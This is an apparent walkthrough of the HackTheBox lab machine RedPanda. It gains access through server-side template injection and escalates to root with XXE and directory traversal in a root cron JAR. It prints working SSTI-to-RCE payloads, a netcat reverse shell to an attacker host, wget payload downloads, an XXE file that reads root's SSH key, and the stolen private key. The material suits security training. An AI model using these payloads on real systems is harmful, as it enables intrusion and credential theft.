HackTheBox - RedPanda
Overview
This machine begins w/ a web enumeration, discovering /search, where it is susceptible to a SSTI2RCE exploit due to insufficient input sanitization, allowing us to obtain a low-privilege/www-data shell.
For the privilege escalation part, pspy is used to snoop on background processes, discovering a JAR file being executed every 2 minutes by root. The purpose of the JAR file is to update author’s view count periodically. After analyzing the JAR file w/ jd-gui, it is vulnerable to a XXE and directory traversal exploit due to insufficient user input sanitization, allowing us to privilege escalate to root.
| Column | Details |
|---|---|
| Box Name | RedPanda |
| IP | 10.10.11.170 |
| Points | 30 |
| Difficulty | Easy |
| Creator | Woodenk |
| Release Date | 09 Jul 2022 |
Recon
TCP/80 (HTTP)
- FFUF
1 2 3 4 5 6 7
405 GET 1l 3w 0c http://10.10.11.170:8080/search 200 GET 275l 763w 7549c http://10.10.11.170:8080/css/panda.css 200 GET 22l 41w 295c http://10.10.11.170:8080/css/main.css 200 GET 55l 119w 0c http://10.10.11.170:8080/ 500 GET 1l 1w 0c http://10.10.11.170:8080/error 200 GET 32l 97w 0c http://10.10.11.170:8080/stats 200 GET 54l 102w 822c http://10.10.11.170:8080/css/stats.css
An interesting directory is enumerated,
/search
Initial Foothold
TCP/80 (HTTP) - /search, SSTI2RCE
- Found a page that allows users to search for names of red panda

- After some testing, I can conclude that
- Some special characters are banned
1 2 3 4
# Payload $ } {{, }results in a500 Internal Server Error, this could be SSTI. - Not vulnerable to SQLi/NoSQL
SQLMap could not find any vulnerabilities
- Not vulnerable to Command Injection
No code execution
- Not vulnerable to LFI/RFI
No content of files returned
- Vulnerable to SSTI
1 2 3
# Payload *{23*3} #{23*3}Mathematic equation is computed and reflected.
- Some special characters are banned
- Searching for payload
Since
$is banned, we have to look for payloads that does not contain$. After browsing through the payloads, found one w/o$ - SSTI RCE check
1 2
# Payload *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}RCE achieved !
- Create reverse shell payload
1 2
#!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4444 >/tmp/f
- Host payload
- Download reverse shell payload onto
redpanda.htb1 2 3
# Payload *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('wget -O /tmp/exploit.sh http://10.10.14.6/exploit.sh').getInputStream())} - Invoke a reverse shell
1 2
# Payload *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('sh /tmp/exploit.sh').getInputStream())} woodenkshell obtained1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/htb/redpanda] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.11.170. Ncat: Connection from 10.10.11.170:43658. /bin/sh: 0: can't access tty; job control turned off $ id;whoami uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk) woodenk
- Demo - SSTI2RCE

Privilege Escalation
Root - Enumeration (Jar File executed as root)
- Snoop background processes w/
pspy641 2 3 4 5 6 7 8
2022/11/05 07:36:01 CMD: UID=0 PID=27149 | /usr/sbin/CRON -f 2022/11/05 07:36:01 CMD: UID=0 PID=27150 | /bin/sh -c /root/run_credits.sh 2022/11/05 07:36:01 CMD: UID=0 PID=27151 | /bin/sh /root/run_credits.sh 2022/11/05 07:36:01 CMD: UID=0 PID=27152 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar 2022/11/05 07:38:01 CMD: UID=0 PID=27169 | /usr/sbin/CRON -f 2022/11/05 07:38:01 CMD: UID=0 PID=27171 | /bin/sh /root/run_credits.sh 2022/11/05 07:38:01 CMD: UID=0 PID=27170 | /bin/sh -c /root/run_credits.sh 2022/11/05 07:38:01 CMD: UID=0 PID=27172 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
/opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar- is executed byrootevery 2 minutes. - Transfer it to
kalifor analysis
Root - What is the JAR file doing?
- Lets analyze
file.jarw/jd-gui1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
public class App { public static Map parseLog(String line) { String[] strings = line.split("\\|\\|"); Map<Object, Object> map = new HashMap<>(); map.put("status_code", Integer.valueOf(Integer.parseInt(strings[0]))); map.put("ip", strings[1]); map.put("user_agent", strings[2]); map.put("uri", strings[3]); return map; } public static boolean isImage(String filename) { if (filename.contains(".jpg")) return true; return false; } public static String getArtist(String uri) throws IOException, JpegProcessingException { String fullpath = "/opt/panda_search/src/main/resources/static" + uri; File jpgFile = new File(fullpath); Metadata metadata = JpegMetadataReader.readMetadata(jpgFile); for (Directory dir : metadata.getDirectories()) { for (Tag tag : dir.getTags()) { if (tag.getTagName() == "Artist") return tag.getDescription(); } } return "N/A"; } public static void addViewTo(String path, String uri) throws JDOMException, IOException { SAXBuilder saxBuilder = new SAXBuilder(); XMLOutputter xmlOutput = new XMLOutputter(); xmlOutput.setFormat(Format.getPrettyFormat()); File fd = new File(path); Document doc = saxBuilder.build(fd); Element rootElement = doc.getRootElement(); for (Element el : rootElement.getChildren()) { if (el.getName() == "image") if (el.getChild("uri").getText().equals(uri)) { Integer totalviews = Integer.valueOf(Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1); System.out.println("Total views:" + Integer.toString(totalviews.intValue())); rootElement.getChild("totalviews").setText(Integer.toString(totalviews.intValue())); Integer views = Integer.valueOf(Integer.parseInt(el.getChild("views").getText())); el.getChild("views").setText(Integer.toString(views.intValue() + 1)); } } BufferedWriter writer = new BufferedWriter(new FileWriter(fd)); xmlOutput.output(doc, writer); } public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException { File log_fd = new File("/opt/panda_search/redpanda.log"); Scanner log_reader = new Scanner(log_fd); while (log_reader.hasNextLine()) { String line = log_reader.nextLine(); if (!isImage(line)) continue; Map parsed_data = parseLog(line); System.out.println(parsed_data.get("uri")); String artist = getArtist(parsed_data.get("uri").toString()); System.out.println("Artist: " + artist); String xmlPath = "/credits/" + artist + "_creds.xml"; addViewTo(xmlPath, parsed_data.get("uri").toString()); } } }
- When executed, reads
redpanda.logline by line. - Checks if line contains string
.jpg - Splits the line into parts w/
||as a delimiter[0]: Status Code[1]: Ip Address[2]: User Agent[3]: URI (Name of image file)
- Get artist name using metadata (
Artist:) of image file - Create
xmlpath/credits/ + artist + _creds.xml
- Process
xmlfile and update it by writing it.
- When executed, reads
How do we exploit the JAR file (XXE Involved)
- We have write access to
redpanda.log- Able to write directly to
redpanda.log - OR write it through the web
- Able to write directly to
- Since XML file is being processed, we are able to do XXE.
- However there are a few problems we have to overcome to do XXE.
- Path of image file is hardcoded,
/opt/panda_search/src/main/resources/static/img/<image name>(1) - We do not have write access to the XML file. (2)
- The path to the XML file is hardcoded,
/credits/ + artist + _creds.xml(3)
- Path of image file is hardcoded,
- We can easily overcome problem (1) by using directory traversal
../to point to our malicious JPG file (Remember that image name is obtained fromredpanda.log)redpanda.logmust be in this format,<any number>||<any number>||<any word>||<../../../../../exploit.jpg>, because ofline.split("\\|\\|");- The hardcoded directory (
/opt/panda_search/src/main/resources/static/img/) will be removed w/ multiple../, allowing us to point to our malicious image file.
- We can easily overcome problem (2) by creating our own malicious XML file (
exploit.xml) - We can easily overcome problem (3) by using directory traversal
../to point to our malicious XML file.- We can do directory traversal by adding a metadata
Artistto our image file (exploit.jpg) w/ value../../../../exploit - This is done using
exiftool. This will result in/credits/../../../../../exploit_creds.xml
- We can do directory traversal by adding a metadata
Exploiting JAR file (XXE Involved)
- Create malicious image file w/ artist metadata
1 2 3
# Use any random image ┌──(root💀kali)-[~/htb/redpanda/10.10.11.170/loot] └─# exiftool -Artist="../../../../../../../tmp/exploit" exploit.jpg
- Verify metadata (
Artist) exists1 2 3
┌──(root💀kali)-[~/htb/redpanda/10.10.11.170/loot] └─# exiftool exploit.jpg | grep Artist Artist : ../../../../../../../tmp/exploit
- Create malicious XML file (
exploit_creds.xml)1 2 3 4 5 6 7
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" >]> <credits> <foo>&xxe;</foo> </credits>
- Create malicious
redpanda.log1
123||a||a||/../../../../../../tmp/exploit.jpg
- Transfer files to
redpanda.htb1 2 3
wget 10.10.14.6/exploit_creds.xml wget 10.10.14.6/exploit.jpg wget 10.10.14.6/redpanda.log -O /opt/panda_search/redpanda.log
- Wait for cronjob to execute, allowing us to obtain
root’s private key1 2 3 4 5 6 7 8 9 10 11 12
woodenk@redpanda:/tmp$ cat exploit_creds.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo> <credits> <foo>-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29 ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE= -----END OPENSSH PRIVATE KEY-----</foo> </credits>
- Demo - Exploiting JAR file




